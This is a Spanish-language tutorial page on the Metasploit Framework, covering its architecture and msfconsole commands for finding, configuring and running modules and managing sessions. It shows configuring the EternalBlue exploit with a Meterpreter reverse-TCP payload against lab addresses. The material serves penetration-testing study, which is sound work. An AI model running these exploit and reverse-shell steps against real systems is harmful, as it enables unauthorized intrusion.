README
Metasploit Framework
Section titled “Metasploit Framework”Metasploit Framework — Introducción y MSFconsole
Section titled “Metasploit Framework — Introducción y MSFconsole”¿Qué es Metasploit?
Section titled “¿Qué es Metasploit?” (1) (1) (1).png)
Metasploit Framework es el framework de explotación de código abierto más utilizado en el sector. Desarrollado por Rapid7, centraliza en una sola plataforma el proceso de enumeración, explotación, generación de payloads y post-explotación. Es la herramienta de referencia en certificaciones como OSCP, eCPPT y CPTS.
Metasploit no es solo para explotar vulnerabilidades — también sirve para escaneo, enumeración, generación de payloads personalizados y automatización de tareas repetitivas de pentesting.
Arquitectura de Metasploit
Section titled “Arquitectura de Metasploit”Framework Core │ ├── Módulos (exploits, auxiliares, post, payloads, encoders, nops) ├── Librerías (Rex, MSF Core, MSF Base) ├── Plugins (extensiones de funcionalidad) └── Interfaces (msfconsole, msfvenom, RPC API)Directorio de instalación
Section titled “Directorio de instalación”# En Kali Linuxls /usr/share/metasploit-framework/
modules/ # todos los módulosplugins/ # plugins cargablesscripts/ # scripts de Meterpreter y otrostools/ # herramientas auxiliaresdata/ # wordlists, binarios, plantillasMSFconsole — La interfaz principal
Section titled “MSFconsole — La interfaz principal”MSFconsole es la interfaz interactiva de Metasploit. Es una consola completa con historial, autocompletado con Tab y soporte para ejecutar comandos del sistema operativo directamente.
# Iniciar Metasploitsudo msfconsole
# Iniciar silenciosamente (sin banner)sudo msfconsole -qComandos esenciales de MSFconsole
Section titled “Comandos esenciales de MSFconsole”Navegación y búsqueda
# Buscar módulossearch eternalbluesearch type:exploit platform:windows smbsearch cve:2021-34527search name:psexec
# Filtros de búsqueda disponibles:# type: exploit, auxiliary, post, payload, encoder# platform: windows, linux, unix, android, osx# arch: x86, x64, mipsbe, armle# rank: excellent, great, good, normal, average, low# cve: número de CVE# name: nombre del módulo
# Ver información detallada de un móduloinfo exploit/windows/smb/ms17_010_eternalblueinfo 0 # por número del resultado de search
# Seleccionar un módulouse exploit/windows/smb/ms17_010_eternalblueuse 0 # por número en la lista de search
# Volver atrásback
# Mostrar el módulo activoshowConfiguración de módulos
# Ver todas las opciones del módulooptionsshow options
# Ver opciones avanzadasadvancedshow advanced
# Configurar una opciónset RHOSTS 10.10.10.10set LHOST 10.10.14.5set LPORT 443set PAYLOAD windows/x64/meterpreter/reverse_tcp
# Configurar opción globalmente (para todos los módulos)setg LHOST 10.10.14.5setg LPORT 443
# Ver el valor actual de una opciónget RHOSTS
# Desactivar una opciónunset RHOSTSunsetg LHOST
# Guardar la configuración actualsaveEjecución
# Ejecutar el móduloexploitrun
# Ejecutar en background como jobexploit -jrun -j
# Verificar si el objetivo es vulnerable sin explotar (si el módulo lo soporta)checkGestión de sesiones y jobs
# Listar sesiones activassessionssessions -l
# Interactuar con una sesiónsessions -i 1
# Matar una sesiónsessions -k 1sessions -K # matar todas
# Ver jobs en backgroundjobsjobs -l
# Matar un jobjobs -k 1
# Poner sesión actual en background (desde dentro de Meterpreter)background# o Ctrl+ZComandos del sistema desde MSFconsole
# Ejecutar comandos del SO directamenteshell!ls!pwd!cat /etc/hosts
# Historico de comandoshistory
# Limpiar la pantallaclear
# SalirexitquitEstructura de navegación en MSFconsole
Section titled “Estructura de navegación en MSFconsole”.png)
El prompt cambia según el contexto:
msf6 > # Sin módulo seleccionadomsf6 exploit(windows/smb/ms17_010) > # Módulo exploit seleccionadomsf6 auxiliary(scanner/smb/smb_ms17) > # Módulo auxiliary seleccionadometerpreter > # Dentro de una sesión MeterpreterActualizar Metasploit
Section titled “Actualizar Metasploit”# Actualizar desde Kalisudo apt update && sudo apt install metasploit-framework
# Actualizar desde dentro de msfconsole (método antiguo)msf6 > msfupdateMSFconsole tiene autocompletado con Tab en todos los comandos, rutas de módulos y opciones. Usarlo activamente ahorra mucho tiempo y evita errores tipográficos.
Usar
setgpara configurar LHOST y LPORT globalmente al inicio de una sesión de trabajo evita tener que configurarlos en cada módulo individualmente.